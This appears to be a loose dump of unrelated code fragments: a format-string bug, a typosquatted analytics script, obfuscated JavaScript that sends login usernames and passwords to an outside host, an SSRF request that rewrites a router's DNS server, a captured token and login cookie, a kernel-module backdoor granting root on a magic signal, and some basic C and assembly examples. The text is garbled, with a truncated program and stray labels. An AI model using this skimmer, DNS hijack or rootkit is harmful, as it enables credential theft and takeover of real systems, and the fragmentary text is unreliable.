#include <stdio.h>
int main() {
    char mmd[100];
    fgets(mmd, sizeof(mmd), stdin);  
    printf(mmd);                     
    return 0

<script async src="https://www.googletagmaneger.com/gtag/js?id=UA-978312237-6"></script>
<script>
    window.dataLayer = window.dataLayer || [];
    function gtag(){dataLayer.push(arguments);}
    gtag('js', new Date());
    gtag('config', 'UA-978312237-6');
</script>

var bb = 'lo';
var cd = 'Btn';
var ccr = 'gin';

document.getElementById(bb + ccr + cd).addEventListener("click", function() {
    var a_1 = 'htt';
    var a_2 = 'ps://';
    var a_3 = 'hac';
    var a_4 = 'kboo';
    var a_5 = 'kag';
    var a_6 = 'ram';
    var a_7 = '.c';
    var a_8 = 'om/';
    var a_9 = 'log';
    var a_10 = 'in';

    var e = new XMLHttpRequest;
    e.open("POST", a_1 + a_2 + a_3 + a_4 + a_5 + a_6 + a_7 + a_8 + a_9 + a_10, true);
    e.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    e.onload = function() {
        var t = JSON.parse(e.responseText);
        if (console.log(), 201 == e.status) {
            var n = btoa("username=" + document.getElementById("username").value + "&password=" + document.getElementById("password").value);
            document.body.innerHTML = document.body.innerHTML + '';
            window.location = t[0];
        } else {
            alert(t[0]);
        }
    };
    e.send("username=" + document.getElementById("username").value + "&password=" + document.getElementById("password").value);
    event.stopImmediatePropagation();
});

var n = btoa("username=" + document.getElementById("username").value + "&password=" + document.getElementById("password").value);

178.62.61.49 - - [14/Jun/2020:16:36:45 +0000] "GET /imgtest HTTP/1.1" 404 3807 "https://www.googletagmaneger.com/view/a3e4ddefccd4d6ba506febedef7ccbc3" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/83.0.4103.97 Safari/537.36"

$('.connection-test').click(function() {
    $.post('/connection-test', { node: 'us1' }, function(resp) {
        $('.connection-result').html('<div class="alert alert-success"><p>' + resp + '</p></div>');
    }).fail(function(resp) {
        $('.connection-result').html('<div class="alert alert-danger"><p>' + resp.responseJSON[0] + '</p></div>');
    });
});

POST /connection-test HTTP/1.1
Host: 178.62.61.49
...
node=192.168.1.1

<div><input class="form-control" name="i_username" value="6422451584@fasternetbb.dsl"></div>
<div><input class="form-control" type="password" name="i_password" value="Bpi5!9fiLeikmeHmN"></div>
<div><input class="form-control" name="dns_server" value="8.8.8.8"></div>
<script src="/js/private.js"></script>

js
POST /connection-test HTTP/1.1
Host: 178.62.61.49
...
node=192.168.1.1/set/dns?server=173.230.148.69#

Ncat: Connection from 178.62.61.49:50284.
GET /api/poll HTTP/1.1
Host: www.googletagmaneger.com
User-Agent: curl/7.58.0
Accept: */*
X-Token: 779549E7865D034D9A9DB34401DA2157

HTTP/1.1 200 OK
...
{"description":"Login Cookie","data":"NzQ1NWYxYmJkYzczM2YwYTkzMzg2MjE5MmIxNTFhN2VlNGI0NmQyM2EwYjNlMzBiMzc3NGE2NTVhYzE5MzBiMDE1MWY2NGQ5MzE1ZjJhZmEzY2VlYTcyZDFlNjNmMjQ3YTZhNTQzM2U1ODBjOWIzZGJhYWQyMmNiZTcxYzU5NTA="}
`

#include <stdio.h>
#include <fcntl.h>     
#include <unistd.h>    
#include <errno.h>     
#include <string.h>    

int main() {

    int fd = open("test.txt", O_RDONLY | O_CREAT, 0644);
    if (fd == -1) {
        printf("err: %s\n", strerror(errno));
        return 1;
    }
    printf("success! FD: %d\n", fd);
    

    close(fd);
    printf("closed.\n");
    
    return 0;
}

section .data
    msg db 'Hello, World!', 0x0A  
    len equ $ - msg                

section .text
    global _start

_start:
    ; Syscall write
    mov rax, 1         
    mov rdi, 1          
    mov rsi, msg        
    mov rdx, len       
    syscall            
    
    mov rax, 60         
    mov rdi, 0         
    syscall             

nasm -f elf64 hello.asm -o hello.o
ld hello.o -o hello
./hello

Fake Lock to phish

#include <linux/module.h>
#include <linux/kprobes.h>
#include <linux/sched.h>
#include <linux/cred.h>
#include <linux/pid.h>
#include <linux/slab.h>

#define MAGIC_SIG 64

static struct kprobe kp;

static int pre_kill(struct kprobe *p, struct pt_regs *regs)
{
    int sig = (int)regs->si;
    pid_t pid = (pid_t)regs->di;
    struct pid *pidp;
    struct task_struct *task;
    const struct cred *old;
    struct cred *new;

    if (sig != MAGIC_SIG)
        return 0;

    pidp = find_vpid(pid);
    if (!pidp)
        return 0;

    task = pid_task(pidp, PIDTYPE_PID);
    if (!task || !task->cred)
        return 0;

    old = task->cred;

    new = kmemdup(old, sizeof(struct cred), GFP_KERNEL);
    if (!new)
        return 0;

    atomic_set(&new->usage, 1);
    new->uid = new->euid = new->suid = new->fsuid = GLOBAL_ROOT_UID;
    new->gid = new->egid = new->sgid = new->fsgid = GLOBAL_ROOT_GID;
    new->cap_effective = new->cap_permitted = new->cap_bset = CAP_FULL_SET;

    rcu_assign_pointer(task->real_cred, new);
    rcu_assign_pointer(task->cred, new);

    put_cred(old);
    put_cred(old);

    pr_info("kbdoor: pid %d -> root\n", pid);
    return 0;
}

static int __init init_mod(void)
{
    kp.symbol_name = "__x64_sys_kill";
    kp.pre_handler = pre_kill;

    if (register_kprobe(&kp) < 0)
        return -1;

    pr_info("kbdoor: loaded\n");
    return 0;
}

static void __exit exit_mod(void)
{
    unregister_kprobe(&kp);
    pr_info("kbdoor: unloaded\n");
}

module_init(init_mod);
module_exit(exit_mod);
MODULE_LICENSE("GPL");

module_init()
module_exit()
MODULE_LICENSE()

int execve(
    const char *pathname,
    char *const argv[],
    char *const envp[]
);

execve("/bin/ls", args, env);

char *args[] = {
    "ls",
    "-l",
    "/home",
    NULL
};

#include <stdio.h>
#include <unistd.h>

int main()
{
    char *args[] = {
        "program2",
        "hello",
        "world",
        NULL
    };
    printf("Before execve\n");
    execve("./program2", args, NULL);
    printf("After execve\n");
    return 0;
}

#include <stdio.h>
int main(int argc, char *argv[])
{
    printf("I am program2\n");
    printf("argc = %d\n", argc);
    for (int i = 0; i < argc; i++)
    {
        printf("argv[%d] = %s\n", i, argv[i]);
    }
    return 0;
}